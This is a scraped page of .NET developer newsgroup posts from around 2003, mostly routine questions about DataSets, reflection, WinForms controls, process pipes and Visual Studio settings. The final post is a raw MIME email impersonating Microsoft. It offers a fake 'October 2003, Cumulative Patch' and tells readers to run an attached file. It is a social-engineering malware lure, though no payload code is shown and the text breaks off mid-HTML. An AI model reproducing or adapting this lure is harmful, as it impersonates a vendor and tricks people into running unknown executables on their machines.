HELP! Can't get the column that has error on dataset.update
I have the sample code from the microsoft site and it
doesn't work. I am updating a database using a sql
dataadapter. I add a new row and call the update which
causes an error of 'String or Binary Data Would Be
Truncated' err# 8152. OK- so I use the following code:
' String or binary data woould be truncated
If sqlex.Number = 8152 Then
Dim Row As DataRow
' Loop through the rows to find the error
For Each Row In ds.Tables(0).Rows
' If the row has errors the get the columns
If Row.HasErrors Then
Dim ColArray() As DataColumn
Dim ColCount As Integer
' Get the columns that are in error
ColArray = Row.GetColumnsInError()
' Loop through the columns with errors and produce
the column names and rowerror
For ColCount = 0 To ColArray.GetUpperBound(0)
Msg += " Row=" + Row.ToString + " :
ColumnName=" + ColArray(ColCount).ColumnName + " :
MaxLen=" + _
ColArray(ColCount).MaxLength + " :
RowDataLen=" + Len(Row.Item(ColArray
(ColCount).ColumnName)) + _
" : RowError=" + Row.RowError
Next
End If
Next
End If
PROBLEM ColArray.GetUpperBound(0) = -1 ???????
there is no data in the ColArray ??????????
HELP! thanks in advance Tag: Form to JPG / Capture Screen with .NetFramwork Tag: 59105
Inheritance trees
Does anyone know where I could find documentation on inheritance tress for
objects in the framework..
Example;
ServicedComponent inherits from ContextBoundObject which inherits from
MarshalByRefObject...
I don't know if that the exact flow or not but I'm sure you get the
picture....
TIA
Dan Tag: Form to JPG / Capture Screen with .NetFramwork Tag: 59104
Windows 98 debugging
What are my options to debug a Windows-98-specific bug in
my C# app? I have Visual C++ 6.0 and the .NET SDK (not
Visual Studio .NET), and a standalone Windows 98 test
computer (not near my development computer).
The .NET SDK (with its debuggers) won't install on Windows
98. Is there any way to run the CLR (GUI) debugger
(DbgCLR.exe) on the Windows 98 test machine? I tried
copying DbgCLR.exe to the test machine but it won't run
standalone that way. Can the command-line debugger
(Cordbg.exe) run on Windows 98? Or must I use remote
debugging?
Does the standalone Visual C# product contain the remote
debugger or must I buy the full Visual Studio .NET? Tag: Form to JPG / Capture Screen with .NetFramwork Tag: 59103
ASP.NET HotFix Rollup download
article 821156 discusses the download for the Hotfix
Rollup. Where is the download? I need it to help meet
Section 508 Accessibility guidelines
thanks Tag: Form to JPG / Capture Screen with .NetFramwork Tag: 59102
VB NET Exam PLEASE HELP
Hi. I am an amateur VB.net enthusiast. I currently work as a carpenter
and I moonlight on the weekends as a photographer. I'm trying to
transition a career change.
Is there an exam that leads to certification in VB.net like there is with Java?
How much of the exam will rely on memorization? How much will be from
programming skill? How do they measure my programming ability from one
exam? Tag: Form to JPG / Capture Screen with .NetFramwork Tag: 59098
exchange server 2003
The ability to use the calender function in exchange server 2003 is it
possible to access the same functionality from asp.net? If that
function works I guess the rest of them will too. I am wondering if we
can access it from our intranet or mobiledevices...
If its possible, how does one access the exchange srv. with different
user etc.
Thanks up front - I will sleep better when I know if the works or not
:0) Tag: Form to JPG / Capture Screen with .NetFramwork Tag: 59092
Use reflection to determine subtype
I can use the following to determine the Type of the current instance.
System.Reflection.MethodBase.GetCurrentMethod().DeclaringType
What I want is the Type of the sub class instance. Any ideas? Here's an
example.
namespace myNamespace
{
public class A
{
protected Type myType =
System.Reflection.MethodBase.GetCurrentMethod().DeclaringType;
protected Type myChildType = ????
}
public class B : A
{
}
}
When I create and instance of B, the myType member is a Type with name
"myNamespace.A". I want the myChildType member to be the Type with name
"myNamespace.B". Any ideas?
I DO NOT want to modify class B.
Thanks
Derrick Tag: Form to JPG / Capture Screen with .NetFramwork Tag: 59082
Framawork SP2 and Framework 1.1
What are the differences between the two version and what is the most
recent?
Thanks Tag: Form to JPG / Capture Screen with .NetFramwork Tag: 59078
Framework 1.1 installed but.....
I have 1.1 of the .Net Framework but in my .Net references all the
namespaces i.e System.Data.Dll etc are showing a version of 1.0.3300.0 but
in C:\WINNT\Microsoft.NET\Framework\v1.1.4322 I have a version of this dll
of 1.1.4322.573, why hasn't 1.1 overridden the 1.0 files? Tag: Form to JPG / Capture Screen with .NetFramwork Tag: 59077
Help
Hi,
I am developing a windows application in C# using Visual Studio .Net IDE.
The application has a standard Menu bar which is visible on the top of the
screen.
The items of the Menu bar are
1. File
2. Edit
3. Tools
4. Help
Short cuts are also there for user to select a menu item.
Now I am facing a peculiar problem which I believe I had not faced with
applications developed using Visual C++ or Visual Basic (Visual Studio 6.0
or earlier). If I select a menu item, for example I select "Edit" and I use
right arrow key to move to other main menu items. After I reach "Help", I
expect "File" menu item to be selected in case I again press right arrow
key. But the application is showing the Windows form control menu ( with
options such as "Restore","Minimize etc.). Same issue is there if I use left
arrow to navigate the menu items.
I have tried it a few times on a variety of applications and I am getting
the same error. It would be great if someone could help me to solve the
problem. I believe probably some configuration has to be done in the windows
form as I do not believe Microsoft has left this issue to the programmers,
to write code to catch the event for right / left arrow movement.
Please help !
Gary Tag: Form to JPG / Capture Screen with .NetFramwork Tag: 59076
How to cause a line break in a textbox?
I have a multiline textbox to display a char string.
How do I make the textbox break at a certain position
of the char string. I try putting '\n' in the char string,
but it doesn't work. Tag: Form to JPG / Capture Screen with .NetFramwork Tag: 59067
Portability
What classes are portable and what are not, I would say WinForms is NOT
portable, what others are not portable? Tag: Form to JPG / Capture Screen with .NetFramwork Tag: 59063
multiple output directories
Hi group
i try to have 2 output for my app :
bin\debug
AND
..\MyDir\SomeWhere\
is it possible ?
thanks
ROM Tag: Form to JPG / Capture Screen with .NetFramwork Tag: 59062
Documentation XML to HTML
hi group
I have heard about magic documentation generator like in java.
i have never need it ...
but now i need
so i read lot of articles to generate my /// comments to xml files
and it is easy
but how the hell transforme .xml in .html, or view it as .html ???
I am discovering xml, and don't know that, wich i suppose the beginner
question.
can you indicates me a xml-to-html documentation ?
thanks for help
ROM Tag: Form to JPG / Capture Screen with .NetFramwork Tag: 59059
Installation of .NET framework 1.1
Hi,
while installing Visual studio .NET 2003, the
installation is taking lot of time (more than a day)
for .NET framework 1.1 . this is being installed
automatically as a prerequisite. Please let me know why it
is taking so much time for the installation of .NET
framework? what could be the problem?
regards,
Ramakrishna. Tag: Form to JPG / Capture Screen with .NetFramwork Tag: 59057
How to Move files into trashbox?
Dear all,
Could you please tell me how to move files into trashbox?
FileInfo.Delete() will delete files completely. But I want to get
files back if necessary. I searched document of .net framework 1.1,
but it seems like no such information.
JR Tag: Form to JPG / Capture Screen with .NetFramwork Tag: 59054
formatting data in a datagrid
Hello,
I have a datagrid bound to a dataset like so
Public Sub BindGrid(ByVal dgtrusses As DataGrid,
ByRef MyTable As DataTable)
dgtrusse.DataSource = MyTable
cm = CType(BindingContext(MyTable),
CurrencyManager)
End Sub
ts = New DataGridTableStyle(cm)
'new code to format the column
ts.MappingName = "trusses"
dgtrusses.TableStyles.Add(ts)
'B/C
ts.GridColumnStyles(11).Width = 50
ts.GridColumnStyles(11).HeaderText = "B/C"
ts.GridColumnStyles(11).NullText = ""
This is all fine except I wan't to format the 11th column
above to just show 3 decimal places, how do I do this do i
introduce a new gridcolumnstyle, if so how.
Regards
Robert Tag: Form to JPG / Capture Screen with .NetFramwork Tag: 59053
Problem with TreeView control
Hello to everybody.I have a trouble with the TreeView
control.I want to display a MenuContext when I click with
the right button on a TreeNode of the TreeView.The
problem is that if I click on a TreeNode everything
workfine but if I click in the background color of the
TreeView it display again myContextMenu.I've read
documentation about it.It says to handle the ButtonDown
click of the TReeView and then to test the button
pressed.After use the method GetNodeAt(x,y) of the
TreeView control.The problem is that if I don't click
over a node,GetNodeAt don't return (like I and
documentation aspect) the value null but an undefined
value,so I can't test it.Anyone knows what's wrong?Anyone
w to make selection of a tree node with only a right
click?Sorry for my English,Thank you to everybody. Tag: Form to JPG / Capture Screen with .NetFramwork Tag: 59052
.Net Application
I have a dot Net application installed on a windows 2000
server with Sql database. The server has .Net framework
1.1 installed. The application works on a local machine
but once installed on a server and linked to the
appropriate database, when trying to access through
browser window the application is opened but with an
error "We are Sorry - The system is not available at the
moment! Please try again later or contact your Systems
Administrator" Tag: Form to JPG / Capture Screen with .NetFramwork Tag: 59048
Process Threads
I think I'm deadlocking my process because of the situation described below:
Can anyone provide ideas for how to get around this, or an example of
creating two threads to read from StandardError and StandardOutput
independently, as recommended in the text below?
Thanks very, very much..
----- FROM MSDN -----
The Process component communicates with a child process using a pipe. If a
child process writes enough data to the pipe to fill the buffer, the child
will block until the parent reads the data from the pipe. This can cause
deadlock if your application is reading all output to standard error and
standard output. The following C# code, for example, could be problematic.
Process p = new Process();
p.StartInfo.UseShellExecute = false;
p.StartInfo.RedirectStandardError = true;
p.StartInfo.FileName = "test.exe";
p.Start();
p.WaitForExit();
string output = p.StandardError.ReadToEnd();
In this instance, both the parent and the child processes would be blocked,
as the filled pipe prevents the child process from completing, while the
parent process is waiting indefinitely for the child process to exit.
This problem can be solved by moving the ReadToEnd() before the
WaitForExit(), as follows.
Process p = new Process();
p.StartInfo.UseShellExecute = false;
p.StartInfo.RedirectStandardError = true;
p.StartInfo.FileName = "test.exe";
p.Start();
string output = p.StandardError.ReadToEnd();
p.WaitForExit();
A similar problem arises if you redirect both standard output and standard
error and then try to read both, for example using the following C# code.
string output = p.StandardOutput.ReadToEnd();
string error = p.StandardError.ReadToEnd();
p.WaitForExit();
In this case, if the child process writes any text to standard error it will
block the process, because the parent process cannot read from standard
error until it has finished reading from standard output. However, the
parent process will not read from standard output until the process ends. A
recommended solution to this situation is to create two threads so that your
application can read the output of each stream on a separate thread. Tag: Form to JPG / Capture Screen with .NetFramwork Tag: 59045
Can the dll used in no touch deployment have unsafe blocks
What are the restrications on unsafe blocks using the object tag or
Assembly.LoadFrom - it does not seem to work for me even with full
trust of the site Tag: Form to JPG / Capture Screen with .NetFramwork Tag: 59044
Incorrect Format while adding data into a XML file.
Hello all.
I am writing some "CART" data into an xml and it is not coming in the
right format. I have an dataset which has an orderID element and a
product element. The product element has a productid element.
Now once i get the cart, i take this data and using the dataset, i
write it into an xml file.
the format it "should appear" in is:
<OrderInformation>
<Order>
<Id>0</Id>
<Product>
<ProductId>21</ProductId>
</Product>
<Product>
<ProductId>22</ProductId>
</Product>
</Order>
</OrderInformation>
but its coming as
<OrderInformation>
<Order>
<Id>0</Id>
</Order>
<Product>
<ProductId>21</ProductId>
</Product>
<Product>
<ProductId>22</ProductId>
</Product>
</OrderInformation>
obviously i am adding it in an incorrect order ..
my code is:
string fileLocation =
(string)ConfigurationSettings.AppSettings["ShoppingCart.Location"];
ShoppingCart shoppingCart = new ShoppingCart();
ShoppingCart.ProductRow productRow = null;
int noOfItems = 0;
if (cart != null)
{
CartLineItem[] cLineItems = cart.CartLineItemArray;
if (cLineItems != null)
{
foreach(CartLineItem lineItem in cLineItems)
{
shoppingCart.DataSetName =
"OrderInformation"; shoppingCart.Order.AddOrderRow(noOfItems.ToString());
productRow = shoppingCart.Product.NewProductRow();
productRow.ProductID = lineItem.ProductID;
shoppingCart.Product.AddProductRow(productRow); noOfItems++;
}
if (shoppingCart.Order.Rows.Count > 0)
{
shoppingCart.WriteXml(fileLocation);
}
}
}
Can anyone please advise, what am i doing wrong here..
Thanx very much.
Reeya Tag: Form to JPG / Capture Screen with .NetFramwork Tag: 59043
App-Domain error with ASP.NET
Hey, I downloaded the Community Starter Kit from www.asp.net and installed
one with the setup program. Now I am adding to it and don't want to mess up
the original, so I want to run a second one side-by-side on the server.
When I load any page I get this:
Server Application Unavailable
The web application you are attempting to access on this web server is
currently unavailable. Please hit the "Refresh" button in your web browser
to retry your request.
Administrator Note: An error message detailing the cause of this specific
request failure can be found in the application event log of the web server.
Please review this log entry to discover what caused this error to occur.
The event log gives me this error from ASP.NET 1.1:
Failed to execute request because the App-Domain could not be created.
Error: 0x80070005 Access is denied.
Any Ideas? Tag: Form to JPG / Capture Screen with .NetFramwork Tag: 59041
Edit files with no extension
Still trying to figure this one out:
I want to edit aspx files that do not have the .aspx extension. Is this
possible while still getting the statement completion, text colorization and
highlighting in Microsoft Visual Studio Dot Net Enterprise Architect?
I wish to use an alternative extension (or no extension at all) and still
get text highlighting that you would find for a .aspx extension. I was
originally told to edit the registry:
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\VisualStudio\7.1\Editors\{8281C572-217
1-45AA-A642-7D8BC1662F1C}\Extensions.
I added a new DWORD Value
with the title "aca" and
with a value data of "27" and
with a base of hexidecimal because it just seemed like the right thing to
do.... reboot machine = no go. The text in my .aca file is still rendered
like a .txt text file. I even removed the "asp" from this key and asp files
still render correctly in the ide.
Someone must have done this at some point, right?
Please help... if you can...
Respectfully,
Alan Tag: Form to JPG / Capture Screen with .NetFramwork Tag: 59031
See this corrective package that comes from the Microsoft
--jnxtytpbztpa
Content-Type: multipart/related; boundary="ucsuoyzgsgdligxp";
type="multipart/alternative"
--ucsuoyzgsgdligxp
Content-Type: multipart/alternative; boundary="wcwiqphqy"
--wcwiqphqy
Content-Type: text/plain
Content-Transfer-Encoding: quoted-printable
Microsoft Customer
this is the latest version of security update, the
"October 2003, Cumulative Patch" update which fixes
all known security vulnerabilities affecting
MS Internet Explorer, MS Outlook and MS Outlook Express
as well as three newly discovered vulnerabilities.
Install now to help protect your computer.
This update includes the functionality =
of all previously released patches.
System requirements: Windows 95/98/Me/2000/NT/XP
This update applies to:
- MS Internet Explorer, version 4.01 and later
- MS Outlook, version 8.00 and later
- MS Outlook Express, version 4.01 and later
Recommendation: Customers should install the patch =
at the earliest opportunity.
How to install: Run attached file. Choose Yes on displayed dialog box.
How to use: You don't need to do anything after installing this item.
Microsoft Product Support Services and Knowledge Base articles =
can be found on the Microsoft Technical Support web site.
http://support.microsoft.com/
For security-related information about Microsoft products, please =
visit the Microsoft Security Advisor web site
http://www.microsoft.com/security/
Thank you for using Microsoft products.
Please do not reply to this message.
It was sent from an unmonitored e-mail address and we are unable =
to respond to any replies.
----------------------------------------------
The names of the actual companies and products mentioned =
herein are the trademarks of their respective owners.
Copyright 2003 Microsoft Corporation.
--wcwiqphqy
Content-Type: text/html
Content-Transfer-Encoding: quoted-printable
<HTML>
<HEAD>
<style type=3D'text/css'>.navtext{color:#ffffff;text-decoration:none}
</style>
</HEAD>
<BODY BGCOLOR=3D"White" TEXT=3D"Black">
<BASEFONT SIZE=3D"2" face=3D"verdana,arial">
<TABLE WIDTH=3D"600" HEIGHT=3D"40" BGCOLOR=3D"#1478EB">
<TR height=3D"20">
<TD ALIGN=3D"left" VALIGN=3D"TOP" WIDTH=3D"400" ROWSPAN=3D"2">
<FONT FACE=3D"sans-serif" SIZE=3D"5"><I><B>
<A class=3D'navtext' HREF=3D"http://www.microsoft.com/"
TITLE=3D"Microsoft Home Site" target=3D"_top">Microsoft</A>
</B></I></FONT>
</TD>
<TD ALIGN=3D"right" VALIGN=3D"MIDDLE" BGCOLOR=3D"Black" NOWRAP>
<FONT color=3D"#ffffff" size=3D1>
<A class=3D'navtext' href=3D'http://www.microsoft.com/catalog/' =
target=3D"_top">All Products</A> |
<A class=3D'navtext' href=3D'http://support.microsoft.com/' =
target=3D"_top">Support</A> |
<A class=3D'navtext' href=3D'http://search.microsoft.com/' =
target=3D"_top">Search</A> |
<A class=3D'navtext' href=3D'http://www.microsoft.com/' target=3D_top>
Microsoft.com Guide</A>
</FONT>
</TD>
</TR>
<TR>
<TD ALIGN=3D"right" VALIGN=3D"BOTTOM" NOWRAP>
<FONT FACE=3D"Verdana, Arial" SIZE=3D1><B>
<A class=3D'navtext' HREF=3D'http://www.microsoft.com/' TARGET=3D" top">
Microsoft Home</A> </B>
</FONT>
</TD>
</TR>
</TABLE>
<IMG SRC=3D"cid:rfjeunt" BORDER=3D"0"><BR><BR>
<TABLE WIDTH=3D"600"><TR><TD><FONT SIZE=3D"2">
Microsoft Customer<BR><BR>
this is the latest version of security update, the
"October 2003, Cumulative Patch" update which fixes
all known security vulnerabilities affecting
MS Internet Explorer, MS Outlook and MS Outlook Express
as well as three newly discovered vulnerabilities.
Install now to help protect your computer.
This update includes the functionality =
of all previously released patches.
</FONT></TD></TR>
</TABLE>
<BR><BR>
<TABLE BORDER=3D"1" CELLSPACING=3D"1" CELLPADDING=3D"3" WIDTH=3D"600">
<TR VALIGN=3D"TOP">
<TD NOWRAP><FONT SIZE=3D"1"><B><IMG SRC=3D"cid:ikjdlxd" =
ALIGN=3D"absmiddle" BORDER=3D"0"> System requirements</B>
</FONT></TD>
<TD NOWRAP><FONT SIZE=3D"1">Windows 95/98/Me/2000/NT/XP</FONT></TD>
</TR>
<TR VALIGN=3D"TOP">
<TD NOWRAP><FONT SIZE=3D"1"><B><IMG SRC=3D"cid:ikjdlxd" =
ALIGN=3D"absmiddle" BORDER=3D"0"> This update applies to</B>
</FONT></TD><TD NOWRAP>
<FONT SIZE=3D"1">
MS Internet Explorer, version 4.01 and later<BR>
MS Outlook, version 8.00 and later<BR>
MS Outlook Express, version 4.01 and later
</FONT>
</TD>
</TR>
<TR VALIGN=3D"TOP">
<TD NOWRAP><FONT SIZE=3D"1"><B><IMG SRC=3D"cid:ikjdlxd" =
ALIGN=3D"absmiddle" BORDER=3D"0"> Recommendation</B></FONT></TD>
<TD NOWRAP><FONT SIZE=3D"1">Customers should install the patch =
at the earliest opportunity.</FONT></TD>
</TR>
<TR VALIGN=3D"TOP">
<TD NOWRAP><FONT SIZE=3D"1"><B><IMG SRC=3D"cid:ikjdlxd" =
ALIGN=3D"absmiddle" BORDER=3D"0"> How to install</B></FONT></TD>
<TD NOWRAP><FONT SIZE=3D"1">Run attached file. =
Choose Yes on displayed dialog box.</FONT></TD>
</TR>
<TR VALIGN=3D"TOP">
<TD NOWRAP><FONT SIZE=3D"1"><B><IMG SRC=3D"cid:ikjdlxd" =
ALIGN=3D"absmiddle" BORDER=3D"0"> How to use</B></FONT></TD>
<TD NOWRAP><FONT SIZE=3D"1">You don't need to do =
anything after installing this item.</FONT></TD>
</TR>
</TABLE>
<BR>
<TABLE WIDTH=3D"600"><TR><TD><FONT SIZE=3D"2">
Microsoft Product Support Services and Knowledge Base articles
can be found on the <A HREF=3D"http://support.microsoft.com/" =
TARGET=3D"_top">Microsoft Technical Support</A> web site. =
For security-related information about Microsoft products, please =
visit the <A HREF=3D"http://www.microsoft.com/security" TARGET=3D"_top">
Microsoft Security Advisor</A> web site, =
or <A HREF=3D"http://www.microsoft.com/contactus/contactus.asp" =
TARGET=3D"_top">Contact Us.</A>
<BR><BR>
Thank you for using Microsoft products.<BR><BR></FONT>
<FONT SIZE=3D"1">Please do not reply to this message. =
It was sent from an unmonitored e-mail address and we are unable =
to respond to any replies.<BR></FONT>
<HR COLOR=3D"Silver" SIZE=3D"1" WIDTH=3D"100%">
<FONT SIZE=3D"1" COLOR=3D"Gray">The names of the actual companies and =
products mentioned herein are the trademarks =
of their respective owners.</FONT>
</TD></TR></TABLE>
<BR>
<TABLE WIDTH=3D"600" HEIGHT=3D"45" BGCOLOR=3D"#1478EB">
<TR VALIGN=3D"TOP">
<TD WIDTH=3D"5"></TD>
<TD>
<FONT COLOR=3D"#FFFFFF" SIZE=3D"1"><B>
<A class=3D'navtext' HREF=3D"http://www.microsoft.com/=
contactus/contactus.asp" TARGET=3D"_top">Contact Us</A>
|
<A class=3D'navtext' HREF=3D"http://www.microsoft.com/legal/" =
TARGET=3D"_top">Legal</A>
|
<A class=3D'navtext' HREF=3D"https://w